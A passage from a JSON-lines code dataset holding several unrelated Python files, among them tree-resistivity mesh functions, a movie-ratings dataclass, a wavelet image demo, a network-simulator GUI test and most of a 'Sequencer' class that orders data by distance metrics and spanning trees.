std_1\r\n\r\n#2D starting model:\r\n\r\ndef create_starting_model_2D(center_pos, DataSet,\r\n hardwood_radius,\r\n resistivities:list = [180, 180]):\r\n geom_2D = mt.createPolygon(DataSet.sensorPositions(), isClosed=True)\r\n geom_2D_start = mt.createPolygon(DataSet.sensorPositions(), isClosed=True)\r\n geom_2D_hom = mt.createPolygon(DataSet.sensorPositions(), isClosed=True)\r\n\r\n pos = geom_2D.xmax() / 2\r\n geom_2D += mt.createCircle(pos=[pos, pos], radius=hardwood_radius, nSegments=21, boundaryMarker=1)\r\n geom_2D_start += mt.createCircle(pos=[pos, pos], radius=hardwood_radius, nSegments=21, marker=2)\r\n geom_2D_start.createNode([center_pos[0], center_pos[1]], marker=-999)\r\n geom_2D_start.createNode([center_pos[0], center_pos[1] - 1e-3 / 2])\r\n geom_2D_start.createNode([center_pos[0]+0.05, center_pos[1]], marker=-1000)\r\n\r\n geom_2D.createNode([center_pos[0], center_pos[1]], marker=-999)\r\n geom_2D.createNode([center_pos[0], center_pos[1] - 1e-3 / 2])\r\n geom_2D.createNode([center_pos[0]+0.05, center_pos[1]], marker=-1000)\r\n\r\n geom_2D_hom.createNode([center_pos[0], center_pos[1]], marker=-999)\r\n geom_2D_hom.createNode([center_pos[0], center_pos[1] - 1e-3 / 2])\r\n geom_2D_hom.createNode([center_pos[0]+0.05, center_pos[1]], marker=-1000)\r\n\r\n mesh_2D_start = mt.createMesh(geom_2D_start, quality=34, area=1e-4)\r\n mesh_2D = mt.createMesh(geom_2D, quality=34, area=1e-4)\r\n mesh_2D_hom = mt.createMesh(geom_2D_hom, quality=34, area=1e-4)\r\n\r\n # Set different resistivities for the two markers\r\n res = [[1, resistivities[0]],\r\n [2, resistivities[1]]]\r\n\r\n #Create a starting model\r\n n_cells = mesh_2D_start.cellCount() # Number of cells in the mesh\r\n cell_markers = mesh_2D_start.cellMarkers() # Marker assigned to each cell\r\n prior_parameters = np.array(res)\r\n starting_model_2D = np.ones(n_cells)\r\n for cm in np.unique(cell_markers): # like this you loop only over the unique markers (e.g. 1 and 2 in this example)\r\n parameter_value = prior_parameters[prior_parameters[:, 0] == cm, 1][0]\r\n starting_model_2D[cell_markers == cm] = parameter_value\r\n print('Parameter value ' + str(parameter_value) + ' assigned to cell marker ' + str(cm))\r\n\r\n return starting_model_2D, mesh_2D, mesh_2D_hom\r\n\r\n#3D starting model:\r\n\r\ndef create_starting_model_3D(hardwood_radius, height, nel, center_pos, Tree_Geom):\r\n\r\n hardwood_cylinder = mt.createCylinder(hardwood_radius, height, nel, center_pos, boundaryMarker=1)\r\n hardwood_cylinder_marker2 = mt.createCylinder(hardwood_radius, height, nel, center_pos, marker=2)\r\n\r\n mesh_3D = mt.createMesh(Tree_Geom + hardwood_cylinder)\r\n bogus_mesh_3D_start = mt.createMesh(Tree_Geom + hardwood_cylinder_marker2)\r\n\r\n # Set different resistivities for the two markers\r\n res = [[1, 180.0],\r\n [2, 1340.0]]\r\n\r\n mesh_3D_hom = mt.createMesh(Tree_Geom)\r\n\r\n # Create a starting model\r\n n_cells_3D = bogus_mesh_3D_start.cellCount() # Number of cells in the mesh\r\n cell_markers_3D = bogus_mesh_3D_start.cellMarkers() # Marker assigned to each cell\r\n prior_parameters_3D = np.array(res)\r\n starting_model_3D = np.ones(n_cells_3D)\r\n for cm in np.unique(cell_markers_3D): # like this you loop only over the unique markers (e.g. 1 and 2 in this example)\r\n parameter_value_3D = prior_parameters_3D[prior_parameters_3D[:, 0] == cm, 1][0]\r\n starting_model_3D[cell_markers_3D == cm] = parameter_value_3D\r\n print('Parameter value ' + str(parameter_value_3D) + ' assigned to cell marker ' + str(cm))\r\n\r\n return starting_model_3D, mesh_3D, mesh_3D_hom\r\n\r\n#function to calculate the mean of the input data:\r\n#Error calculation: select rho from different file names, also neg values\r\ndef select_val_neg(fname, line):\r\n data = np.loadtxt(fname)\r\n val_raw = data[:,line]\r\n #val = np.abs(val)\r\n return val_raw\r\n\r\ndef med_u_i_neg(file1, file2, file3):\r\n u1 = select_val_neg(file1, 6)\r\n u2 = select_val_neg(file1, 9)\r\n u3 = select_val_neg(file2, 6)\r\n u4 = select_val_neg(file2, 9)\r\n u5 = select_val_neg(file3, 6)\r\n u6 = select_val_neg(file3, 9)\r\n i1 = select_val_neg(file1, 5)\r\n i2 = select_val_neg(file1, 8)\r\n i3 = select_val_neg(file2, 5)\r\n i4 = select_val_neg(file2, 8)\r\n i5 = select_val_neg(file3, 5)\r\n i6 = select_val_neg(file3, 8)\r\n\r\n #data_pos = np.array([rho2, rho4, rho6])\r\n #data_neg = np.array([rho1, rho3, rho5])\r\n all_data_u = np.array([u1, u2, u3, u4, u5, u6])\r\n all_data_i = np.array([i1, i2, i3, i4, i5, i6])\r\n\r\n #std = np.std(all_data, axis=0)\r\n med_u_neg = np.median(all_data_u, axis=0)\r\n med_i_neg = np.median(all_data_i, axis=0)\r\n return med_u_neg, med_i_neg\r\n\r\ndef med_u_i(file1, file2, file3):\r\n u1 = select_val(file1, 6)\r\n u2 = select_val(file1, 9)\r\n u3 = select_val(file2, 6)\r\n u4 = select_val(file2, 9)\r\n u5 = select_val(file3, 6)\r\n u6 = select_val(file3, 9)\r\n i1 = select_val(file1, 5)\r\n i2 = select_val(file1, 8)\r\n i3 = select_val(file2, 5)\r\n i4 = select_val(file2, 8)\r\n i5 = select_val(file3, 5)\r\n i6 = select_val(file3, 8)\r\n\r\n #data_pos = np.array([rho2, rho4, rho6])\r\n #data_neg = np.array([rho1, rho3, rho5])\r\n all_data_u = np.array([u1, u2, u3, u4, u5, u6])\r\n all_data_i = np.array([i1, i2, i3, i4, i5, i6])\r\n\r\n #std = np.std(all_data, axis=0)\r\n med_u = np.median(all_data_u, axis=0)\r\n med_i = np.median(all_data_i, axis=0)\r\n return med_u, med_i\r\n","repo_name":"shakasaki/pgTree","sub_path":"tests/2D/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9330,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74790584155","text":"\"\"\"\nCSAPX Project One: Movies\nratings_dataclass.py\n\nDataclass for ratings. Functions for reading in dataclasses to dictionary and printing a rating object.\n\nAuthor: RIT CS\nAuthor: Adrian Marcellus\n\"\"\"\nfrom dataclasses import dataclass\n\n\n@dataclass(frozen=True)\nclass Rating:\n tconst: str\n averageRating: float\n numVotes: int\n\n\ndef read_ratings(filename: str, movies_dict: dict) -> dict:\n \"\"\"\n reads from file into a dictionary of rating dataclasses\n :param filename: str - name of file or ratings\n :param movies_dict: dict - movies dictionary\n :return: dict - rating object dictionary\n \"\"\"\n with open(filename, encoding='utf-8') as f:\n dictionary = dict()\n f.readline()\n for line in f:\n fields = line.split(\"\\t\")\n in_movies = False\n for diction in list(movies_dict.values()):\n if fields[0] in diction:\n in_movies = True\n break\n if in_movies:\n dictionary[fields[0]] = Rating(\n tconst=str(fields[0]),\n averageRating=float(fields[1]),\n numVotes=int(fields[2])\n )\n return dictionary\n\n\ndef print_rating(rating: Rating) -> str:\n \"\"\"\n returns a string of rating object fields\n :param rating: rating object\n :return: str - ratings objects values\n \"\"\"\n info = (\"Identifier: \" + rating.tconst + \", Rating: \" + str(rating.averageRating) + \", Votes: \" + str(\n rating.numVotes))\n return info\n","repo_name":"AMarcellusCS/CSC242-Project-1-Movies","sub_path":"src/rating_dataclass.py","file_name":"rating_dataclass.py","file_ext":"py","file_size_in_byte":1545,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"16812237637","text":"#! /usr/bin/env python\n\nimport numpy as np\nimport wavepy as wv\nimport Image\n\n\"\"\" \nDependencies\n1.Numpy\n2. PIL (Python Imaging Library)\n\nThis program only processes grayscale images.\n Use convert(\"L\") to convert to grayscale\n To process color images, process each channel separately\"\"\"\n\ndef main():\n x=np.asarray(Image.open(\"empire.jpg\").convert(\"L\"))\n J=2\n nm='bior3.3'\n [swtop,length]=wv.dwt.swt2(x,J,nm)\n \n row=length[0]\n col=length[1]\n \n blur=swtop[0:row*col]\n blur=np.reshape(blur,[row,col])\n blur[blur<0.0]=0.0\n blur=blur*255.0/blur.max()\n blur[blur>255.0]=255.0\n Image.fromarray(np.uint8(blur)).show()\n \n \n detail=swtop[row*col:]\n detail=np.reshape(detail,[row*J*3,col])\n \n detail[detail<0.0]=0.0\n Image.fromarray(np.uint8(detail)).show()\n \n\n\nif __name__ == '__main__':\n main() ","repo_name":"rafat/wavepy","sub_path":"Demos/pilswt.py","file_name":"pilswt.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"144462250","text":"##Chris Allen\n\nfrom API.Utility.Util import Util\nfrom API.Utility import UtilConst\nfrom API.Device.EndDevice.Server.Server import Server\n\nfrom API.Device.EndDevice.PC.PC import PC\n\nfrom API.ComponentBox import ComponentBoxConst\nfrom API.functions import trace, check\n\nutil = Util()\n\ns0 = Server(ComponentBoxConst.DeviceModel.SERVER, 200, 100, 'Server0')\np0 = PC(ComponentBoxConst.DeviceModel.PC, 100, 100, 'PC0')\np1 = PC(ComponentBoxConst.DeviceModel.PC, 300, 100, 'PC1')\ndefaultFiles = ['copyrights.html', 'cscoptlogo177x111.jpg', 'helloworld.html', 'image.html', 'index.html']\n\ndef main():\n util.init()\n create()\n checkDefaults()\n \ndef create():\n s0.create()\n util.fastForwardTime()\n\ndef checkDefaults():\n s0.select()\n s0.clickServicesTab()\n s0.services.selectInterface('HTTP')\n s0.services.http.check.httpOff(False)\n s0.services.http.check.httpOn(True)\n s0.services.http.check.httpsOff(False)\n s0.services.http.check.httpsOn(True)\n \n for i, item in enumerate(defaultFiles):\n columns = []\n for j in range(3):\n columns.append(s0.services.http.fileTableName + '.item_' + str(i) + '/' + str(j))\n check(item == findObject(columns[0]).text)\n if item.endswith('html'):\n check('(edit)' == findObject(columns[1]).text)\n util.click(columns[1])\n s0.services.http.edit.check.filename(item)\n s0.services.http.edit.check.text('[a-zA-Z]')\n s0.services.http.edit.fileManager()\n check('(delete)' == findObject(columns[2]).text)\n \n s0.services.http.newFileButton()\n s0.services.http.edit.filename('testing.html')\n s0.services.http.edit.setText('

    test

    ')\n s0.services.http.edit.save()\n s0.services.http.edit.fileManager()\n \n for i, item in enumerate(defaultFiles):\n s0.services.http.deleteFile(item)\n testHtmlRow = s0.services.http.fileTableName + '.item_0/0'\n check('testing.html' == findObject(testHtmlRow).text)","repo_name":"ptqatester1/ptqa","sub_path":"trunk/workspace/Squish/src/TestScript/UI/suite_UI_61/tst_UI_61_Services_HTTP/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"72146153434","text":"#######################################################################################################################\n####################################################### IMPORTS #######################################################\n#######################################################################################################################\n\nimport os\nimport shutil\nimport pickle\n\nimport numpy\nimport time\nimport networkx as nx\nfrom scipy.sparse import csr_matrix\nfrom scipy.sparse.csgraph import minimum_spanning_tree\nfrom scipy.stats import wasserstein_distance\nfrom scipy.stats import energy_distance\nfrom scipy.stats import entropy\nfrom scipy.interpolate import interp1d\nfrom joblib import Parallel, delayed, dump, load\nimport multiprocessing\n\nfrom sequencer.distance_metrics import return_emd_mat_brute_force, return_energy_mat, return_kl_mat, return_L2_mat\n\n#######################################################################################################################\n## Sequencer Class ##\n#######################################################################################################################\n\nclass Sequencer(object):\n \"\"\"An algorithm that detects one-dimensional trends (sequences) in complex datasets. To do so, To do so, it \n reorders objects within a set to produce the most elongated manifold describing their similarities which are \n measured in a multi-scale manner and using a collection of metrics. \n\n Parameters\n ----------\n :param grid: numpy.ndarray(), the x-axis of the objects in the sample. The grid should consist of float values\n and should not contain nan or infinite values. Since the data is assumed to be either 1D (vectors) \n or 2D (matrices), the grid is assumed to be 1D or 2D as well.\n\n :param objects_list: numpy.ndarray(), the list of the objects to sequence. The objects are\n assumed to be interpolated to a common grid and should not contain nan of infinite values.\n The data is assumed to be 1 or 2 dimensional, therefore the objects list should have 2 or \n 3 dimensions.\n\n :param estimator_list: list of strings (default=['EMD', 'energy', 'KL', 'L2']) , a list of estimators to be used f\n or the distance assignment. The current available estimators are: 'EMD', 'energy', 'KL', and 'L2'. \n\n :param scale_list: list of integers or None (default=None). A list of the scales to use for each estimator. The \n length of the list is similar to the number of estimators given in the input. The scales must \n be interger values that correspond to the number of parts the data is divided to. If the data \n is one-dimensional, a single chunk value is given for each scale, e.g., scale_list=[[1,2,4], [1,2,4]] \n if estimator_list=['EMD', 'KL']. This means that the sequencer will divide each \n object into 1 parts (full object), 2 parts (splitting each object into 2 parts), and 4 parts.\n If the data is two-dimensional, two chunk values are given of each scale, the first describes\n the horizontal direction and the seconds describes the vertical direction. For example, we will\n set: scale_list= [[(1,1), (1,2), (2,1)], [(1,1), (1,2), (2,1)]] if \n estimator_list=['EMD', 'KL']. The scales can be different for different estimators.\n\n if scale_list=None, then default list of scales is calculated using different powers of 2, such\n that the minimal length of a part is 20 pixels. For example, if the length of the objects is 100,\n then the default scales will be: 1, 2, 4. If the length of the objects is 1000, then the default\n scales will be: 1, 2, 4, 8, 16, 32. For 2D objects, the set of default scales is [1, 1].\n \"\"\"\n def __init__(self, grid, objects_list, estimator_list, scale_list=None):\n assert ((len(grid.shape) == 1) or (len(grid.shape) == 2)), \"objects can be one- or two-dimensional\"\n assert (~numpy.isnan(grid)).all(), \"grid cannot contain nan values\"\n assert (~numpy.isinf(grid)).all(), \"grid cannot contain infinite values\"\n assert (~numpy.isneginf(grid)).all(), \"grid cannot contain negative infinite values\"\n assert ((len(objects_list.shape) == 2) or (len(objects_list.shape) == 3)), \"objects can be one- or two-dimensional\"\n assert (~numpy.isnan(objects_list)).all(), \"objects_list cannot contain nan values\"\n assert (~numpy.isinf(objects_list)).all(), \"objects_list cannot contain infinite values\"\n assert (~numpy.isneginf(objects_list)).all(), \"objects_list cannot contain negative infinite values\"\n if len(grid.shape) == 1:\n assert (grid.shape[0] == objects_list.shape[1]), \"the grid and the objects must have the same dimensions\"\n if len(grid.shape) == 2:\n assert ((grid.shape[0] == objects_list.shape[1]) and (grid.shape[1] == objects_list.shape[2])), \"the grid and the objects must have the same dimensions\"\n\n if scale_list != None:\n assert numpy.fromiter([(isinstance(scale_value, int) or type(scale_value) == numpy.int64) for scale_value in numpy.array(scale_list).flatten()], dtype=bool).all(), \"scale values must all be integers\"\n assert numpy.fromiter([estimator_value in ['EMD', 'energy', 'KL', 'L2'] for estimator_value in estimator_list], dtype=bool).all(), \"estimators must be EMD, energy, KL or L2\"\n if scale_list != None:\n assert len(scale_list) == len(estimator_list), \"the length of scale_list must equal to the length of estimator_list\"\n for scale_value in scale_list:\n scale_shape = numpy.array(scale_value).shape\n assert len(grid.shape) == len(scale_shape), \"the shape of scales must be similar to the shape of the data\"\n if len(grid.shape) == 1:\n assert scale_shape[0] < grid.shape[0], \"the scale must be smaller than the input data\"\n if len(grid.shape) == 2:\n assert (scale_shape[0] < grid.shape[0]) and (scale_shape[1] < grid.shape[1]), \"the scale must be smaller than the input data\"\n\n self.grid = grid\n self.objects_list = objects_list\n self.estimator_list = estimator_list\n if scale_list != None:\n self.scale_list = scale_list\n else:\n if len(grid.shape) == 1:\n length_of_object = len(objects_list[0])\n if length_of_object > 20:\n maximal_scale_size = length_of_object / 20.\n scale_list_for_estimator = list((2**numpy.arange(0, numpy.log2(maximal_scale_size))).astype(numpy.int))\n else:\n scale_list_for_estimator = [1]\n scale_list = [scale_list_for_estimator] * len(self.estimator_list)\n self.scale_list = scale_list\n\n else: # len(grid.shape) == 2:\n scale_list_for_estimator = [(1,1)]\n scale_list = [scale_list_for_estimator] * len(self.estimator_list)\n self.scale_list = scale_list\n\n # set to None the parameters that are calculated during the execute function\n self.weighted_elongation_and_sequence_dictionary = None\n self.final_mst_elongation = None\n self.final_mst = None\n self.final_sequence = None\n\n\n def execute(self, outpath, to_print_progress=True, to_calculate_distance_matrices=True, to_save_distance_matrices=True, \\\n distance_matrices_inpath=None, to_save_elongations=True, to_average_N_best_estimators=False, number_of_best_estimators=None, \\\n to_use_parallelization=False, num_cores = None):\n \"\"\"Main function of the sequencer that applies the algorithm to the data, and returns the best sequence and its elongation.\n (*) The function can save many intermediate products, such as the distance matrices for each estimator and scale. The user is \n encoraged to save these products, since they can be used later to reduce dramatically the computation time. \n (*) The function also allows the user to perform the majority vote using the N best estimators, instead of using all of \n them.\n\n Parameters\n ----------\n :param outpath: string, the path of a directory to which the function will save intermediate products and the log file.\n\n :param to_print_progress: boolean (default=True), whether to print the progress of the code. \n\n :param to_calculate_distance_matrices: boolean (default=True), whether to calculate the distance matrices per estimator\n and scale. If True, the distance matrices per estimator and scale are eatimated. If the distance matrices were already\n calculated in a previous run of the function, the user is encoraged to set to_calculate_distance_matrices=False and \n provide a path where the matrices are available using distance_matrices_inpath.\n\n :param to_save_distance_matrices: boolean (default=True), whether to save the estimated distance matrices or not. The user \n strongly encoraged to save the matrices in order to reduce the computation time of future runs.\n\n :param distance_matrices_inpath: string (default=None), the input path of the distance matrices. If the distance matrices\n were already estimated in a previous run of the function, the user can avoid the re-computation of the distance matrices\n and load them from the given path. This can be done by setting to_calculate_distance_matrices=False and providing the \n input path of the distance matrices.\n\n :param to_save_elongations: boolean (default=True), whether to save the derived elongations for each estimator and scale. \n For each scale, the function will also save the derived elongations of each part (chunk) into which the objects are \n split into. These values can be useful to map the important metrics and scales of the problem.\n\n :param to_average_N_best_estimators: boolean (default=False), whether to consider only N best metrics + scales when \n constructing the final sequence. If to_average_N_best_estimators=True, the function will perform a majority vote\n only considering the N estimators (metrics + scales) with the highest elongations.\n\n :param number_of_best_estimators: integer (default=None), the number of estimators to consider in the majority vote. \n If to_average_N_best_estimators=True, then the user must provide an integer number. \n\n :param to_use_parallelization: boolean (default=False), whether to use parallelization when estimating the distance matrices. The parallelization\n\n Returns\n -------\n :param final_mst_elongation: float, the final elongation of the detected sequence. \n This is obtained after populating the separate sequences for the different metrics+scales, averaged according to \n their respective elongations. See the paper for additional details.\n :param final_sequence: numpy.ndarray of integers, the final detected sequence. \n \"\"\"\n N_obj = len(self.objects_list)\n\n assert ((len(self.grid.shape) == 1) or (len(self.grid.shape) == 2)), \"objects can be one- or two-dimensional\"\n assert (~numpy.isnan(self.grid)).all(), \"grid cannot contain nan values\"\n assert (~numpy.isinf(self.grid)).all(), \"grid cannot contain infinite values\"\n assert (~numpy.isneginf(self.grid)).all(), \"grid cannot contain negative infinite values\"\n assert ((len(self.objects_list.shape) == 2) or (len(self.objects_list.shape) == 3)), \"objects can be one- or two-dimensional\"\n assert (~numpy.isnan(self.objects_list)).all(), \"objects_list cannot contain nan values\"\n assert (~numpy.isinf(self.objects_list)).all(), \"objects_list cannot contain infinite values\"\n assert (~numpy.isneginf(self.objects_list)).all(), \"objects_list cannot contain negative infinite values\"\n if len(self.grid.shape) == 1:\n assert (self.grid.shape[0] == self.objects_list.shape[1]), \"the grid and the objects must have the same dimensions\"\n if len(self.grid.shape) == 2:\n assert ((self.grid.shape[0] == self.objects_list.shape[1]) and (self.grid.shape[1] == self.objects_list.shape[2])), \"the grid and the objects must have the same dimensions\"\n\n assert numpy.fromiter([(isinstance(scale_value, int) or type(scale_value) == numpy.int64) for scale_value in numpy.array(self.scale_list).flatten()], dtype=bool).all(), \"scale values must all be integers\"\n assert numpy.fromiter([estimator_value in ['EMD', 'energy', 'KL', 'L2'] for estimator_value in self.estimator_list], dtype=bool).all(), \"estimators must be EMD, energy, KL or L2\"\n if len(self.grid.shape) == 2:\n assert ('EMD' not in self.estimator_list), \"EMD cannot be applied to two-dimensional objects\"\n assert ('energy' not in self.estimator_list), \"Energy distance cannot be applied to two-dimensional objects\"\n\n assert len(self.scale_list) == len(self.estimator_list), \"the length of scale_list must equal to the length of estimator_list\"\n for scale_value in self.scale_list:\n scale_shape = numpy.array(scale_value).shape\n assert len(self.grid.shape) == len(scale_shape), \"the shape of scales must be similar to the shape of the data\"\n if len(self.grid.shape) == 1:\n assert scale_shape[0] < self.grid.shape[0], \"the scale must be smaller than the input data\"\n if len(self.grid.shape) == 2:\n assert (scale_shape[0] < self.grid.shape[0]) and (scale_shape[1] < self.grid.shape[1]), \"the scale must be smaller than the input data\"\n\n assert type(outpath) == str, \"outpath should be string\"\n assert os.path.isdir(outpath), \"outpath should be a directory\"\n\n if to_calculate_distance_matrices == True: \n assert distance_matrices_inpath == None, \"if to_calculate_distance_matrices=True, distance_matrices_inpath must be None\"\n if distance_matrices_inpath != None:\n assert (to_calculate_distance_matrices == False), \"if distance_matrices_inpath is not None, to_calculate_distance_matrices must be False\"\n assert type(distance_matrices_inpath) == str, \"distance_matrices_inpath path should be string\"\n \n if to_average_N_best_estimators == False: \n assert number_of_best_estimators == None, \"if to_average_N_best_estimators=False, number_of_best_estimators must be None\"\n if to_average_N_best_estimators == True:\n assert isinstance(number_of_best_estimators, int), \"if to_average_N_best_estimators=True, number_of_best_estimators must be an integer\"\n\n self.outpath = outpath\n self.to_print_progress = to_print_progress\n self.to_calculate_distance_matrices = to_calculate_distance_matrices\n self.to_save_distance_matrices = to_save_distance_matrices\n self.distance_matrices_inpath = distance_matrices_inpath\n self.to_save_elongations = to_save_elongations\n self.to_average_N_best_estimators = to_average_N_best_estimators\n self.number_of_best_estimators = number_of_best_estimators\n self.to_use_parallelization = to_use_parallelization\n self.num_cores = num_cores\n\n ########################################################################################################\n ######### Parallelization ###########\n ######################################################################################################## \n if self.to_use_parallelization:\n \n if self.num_cores is None:\n num_cores = multiprocessing.cpu_count()\n else:\n num_cores = self.num_cores\n if self.to_print_progress:\n print(\"Parallelization is ON. Number of cores:\", num_cores)\n\n ########################################################################################################\n ######### Output files ###########\n ######################################################################################################## \n self.log_file_outpath = \"%s/log_file.txt\" % self.outpath\n self.distance_matrices_outpath = \"%s/distance_matrices.pkl\" % self.outpath\n self.elongations_outpath = \"%s/elongations.pkl\" % self.outpath\n self.weighted_distance_matrix_outpath = \"%s/weighted_distance_matrix.pkl\" % self.outpath\n self.sparse_distance_matrix_outpath = \"%s/sparse_distance_matrix.pkl\" % self.outpath\n self.final_products_outpath = \"%s/final_products.pkl\" % self.outpath\n\n self.file_log = open(self.log_file_outpath, \"a\")\n self.file_log.write(\"started the run\\n\")\n self.file_log.flush()\n\n ########################################################################################################\n ######### STEP 1: load or calculate distance matrices for different estimators and scales ###########\n ######################################################################################################## \n if self.to_calculate_distance_matrices == False:\n distance_matrix_dictionary = self._load_distance_matrices_from_path()\n\n else:\n distance_matrix_dictionary = self._return_distance_matrix_dictionary_for_estimators_and_scales()\n # save it if neccessary\n if self.to_save_distance_matrices == True:\n self._dump_distance_matrices_to_path(distance_matrix_dictionary)\n if self.to_print_progress:\n print(\"dumped the distance matrix dictionaries to the file: %s\" % self.distance_matrices_outpath)\n\n ########################################################################################################\n ######### STEP 2: order the spectra based on the different distance matrices, and measure ###########\n ######### weights using the MST elongations. ###########\n ######### Produce weighted distance matrix per scale and estimator. ########### \n ######################################################################################################## \n self.weighted_elongation_and_sequence_dictionary = {}\n # the following lists will be used in STEP 3 for the proximity matrices\n MST_list = []\n weight_list = []\n distance_matrix_all = numpy.zeros((N_obj, N_obj))\n\n if self.to_print_progress:\n print(\"strating to sequence the different scales and estimators\")\n\n for estimator_index, estimator_name in enumerate(self.estimator_list):\n scale_list_for_estimator = self.scale_list[estimator_index]\n for scale_index, scale_value in enumerate(scale_list_for_estimator):\n if self.to_print_progress:\n print(\"in estimator: %s, scale: %s\" % (estimator_name, scale_value))\n\n distance_matrix_list = distance_matrix_dictionary[(estimator_name, scale_value)]\n weighted_distance_matrix, ordering_per_chunk_list, elongation_per_chunk_list = self._return_weighted_distance_matrix_for_single_estimator_and_scale(distance_matrix_list, to_return_elongation_list=True)\n # now obtain sequences from the weighted distance matrix\n ordering_bfs, ordering_dfs, mst_elongation, MST = self._apply_MST_and_return_BFS_DFS_ordering(weighted_distance_matrix, return_elongation=True, return_MST=True)\n\n MST_list.append(MST)\n weight_list.append(mst_elongation)\n distance_matrix_all += (weighted_distance_matrix * mst_elongation)\n # add the sequences and their elongations into a dictionary\n self.weighted_elongation_and_sequence_dictionary[(estimator_name, scale_value, \"chunks\")] = (elongation_per_chunk_list, ordering_per_chunk_list)\n self.weighted_elongation_and_sequence_dictionary[(estimator_name, scale_value, \"weighted\")] = (mst_elongation, ordering_bfs)\n\n\n if self.to_save_elongations:\n f_elongations = open(self.elongations_outpath, \"wb\")\n pickle.dump(self.weighted_elongation_and_sequence_dictionary, f_elongations)\n f_elongations.close()\n if self.to_print_progress:\n print(\"dumped the elongations to the file: %s\" % self.elongations_outpath)\n\n distance_matrix_all /= numpy.sum(weight_list)\n numpy.fill_diagonal(distance_matrix_all, 0) \n f_distance = open(self.weighted_distance_matrix_outpath, \"wb\")\n pickle.dump(distance_matrix_all, f_distance)\n f_distance.close()\n if self.to_print_progress:\n print(\"dumped the full weighted distance matrix to the file: %s\" % self.weighted_distance_matrix_outpath)\n\n ########################################################################################################\n ######### STEP 3: use the elongations of the weighted distance matrices sequences ###########\n ######### to build proximity matrices, then convert them to distance matrices, ###########\n ######### and obtain the final BFS and DFS sequences. ########### \n ######################################################################################################## \n\n proximity_matrix_sparse = self._return_proximity_matrix_populated_by_MSTs_avg_prox(MST_list, weight_list)\n distance_matrix_sparse = self._convert_proximity_to_distance_matrix(proximity_matrix_sparse)\n ordering_bfs, ordering_dfs, mst_elongation, mst = self._apply_MST_and_return_BFS_DFS_ordering(distance_matrix_sparse, return_elongation=True, return_MST=True)\n\n self.final_mst_elongation = mst_elongation\n self.final_mst = mst\n self.final_sequence = ordering_bfs\n ########################################################################################################\n ######### STEP 4: save the final BFS and DFS sequences, their final elongation, and ###########\n ######### the sparse distance matrix that was used to obtain these. ###########\n ######################################################################################################## \n f_distance = open(self.sparse_distance_matrix_outpath, \"wb\")\n pickle.dump(distance_matrix_sparse, f_distance)\n f_distance.close()\n if self.to_print_progress:\n print(\"dumped the sparse distance matrix to the file: %s\" % f_distance)\n\n final_sequences_dict = {'BFS': ordering_bfs, 'DFS': ordering_dfs}\n f_final_products = open(self.final_products_outpath, \"wb\")\n pickle.dump([mst_elongation, mst, final_sequences_dict], f_final_products)\n f_final_products.close()\n if self.to_print_progress:\n print(\"dumped the final sequences and elongation to the file: %s\" % f_final_products)\n\n # remove the temporary directory and the temporary data if choice_parallelization=True\n if self.to_use_parallelization:\n folder = './joblib_memmap'\n shutil.rmtree(folder)\n \n return self.final_mst_elongation, self.final_sequence\n\n def return_final_MST_elongation(self):\n \"\"\"Function returns the elongation of the final minimum spanning tree obtained after running the sequencer.\n This elongation serves as a figure of merit of the resulting sequence.\n \n Returns\n -------\n :param elongation: float, the elongation of the final minimum spanning tree.\n \"\"\"\n assert (self.final_mst_elongation != None), \"the elongation of the MST is not defined. Are you sure you executed the sequencer using Sequencer.execute first?\" \n return self.final_mst_elongation\n\n def return_final_sequence(self):\n \"\"\"Function returns the final sequence obtained after running the sequencer. \n The sequence is a list containing the input indices, ordered according to the detected sequence. \n That is, if the list is: seq = [15, 64, 89, 3, ..], then the object at index 15 in the original data \n is the first in the sequence, the object at index 64 is the second in the sequence, and so on.\n \n Returns\n -------\n :param sequence: list of integers, the ordered indices of the input dataset according to the detected sequence.\n \"\"\"\n assert (self.final_sequence != None), \"the final sequence is not defined. Are you sure you executed the sequencer using Sequencer.execute first?\" \n return self.final_sequence\n\n def return_final_MST(self):\n \"\"\"Function returns the final minimum spanning tree obtained after running the sequencer.\n \n Returns\n -------\n :param G: networkx.classes.graph.Graph(), the graph that represents the resulting MST.\n \"\"\"\n assert (self.final_mst != None), \"the final MST is not defined. Are you sure you executed the sequencer using Sequencer.execute first?\" \n return self.final_mst \n\n\n def return_elongations_and_sequences_per_chunk(self, estimator_name, scale):\n \"\"\"Function returns the intermediate elongations and sequences obtained during the calculation of the final sequence.\n For each distance metric and scale, the sequencer divided each object into different chunks (parts), and estimated \n its corresponding sequence and elongation. This funciton returns a list of these elongations and sequences.\n\n Parameters\n ----------\n :param estimator_name: string, the distance metric for which to return the list of elongations and sequences.\n\n :param scale: integer, the scale for which toe return the list of elongations and sequences.\n\n\n Returns\n -------\n :param elongation_list: a list of float values, the list of elongations obtained for each of the chunks for the given \n distance metric and scale.\n\n :param sequence_list: a list of lists, the list of sequences calculated for each of the chunks for the given \n distance metric and scale.\n \"\"\"\n assert (self.weighted_elongation_and_sequence_dictionary != None), \"the elongation and sequence dictionary is empty. Are you sure you executed the sequencer using Sequencer.execute first?\"\n assert (estimator_name in self.estimator_list), \"the required estimator is not included in the esitmator list\"\n for i, estimator_value in enumerate(self.estimator_list):\n if estimator_value == estimator_name:\n scale_list_for_estimator = self.scale_list[i]\n assert (scale in scale_list_for_estimator), \"the required scale is not included in the scale list for the given estimator\"\n\n elongation_list, sequence_list = self.weighted_elongation_and_sequence_dictionary[(estimator_name, scale, \"chunks\")]\n\n return elongation_list, sequence_list\n\n\n def return_elongation_of_weighted_products(self, estimator_name, scale):\n \"\"\"Function returns the intermediate elongations obtained in the second stage of the code. For each distance metric and\n scale, the sequencer estimated the weighted distance matrix, and used it to calculate a sequence and an elongation. \n\n Parameters\n ----------\n :param estimator_name: string, the distance metric for which to return the list of elongations and sequences.\n\n :param scale: integer, the scale for which toe return the list of elongations and sequences.\n\n\n Returns\n -------\n :param elongation: a float, the elongation that corresponds to the given metric and scale.\n \"\"\"\n assert (self.weighted_elongation_and_sequence_dictionary != None), \"the elongation and sequence dictionary is empty. Are you sure you executed the sequencer using Sequencer.execute 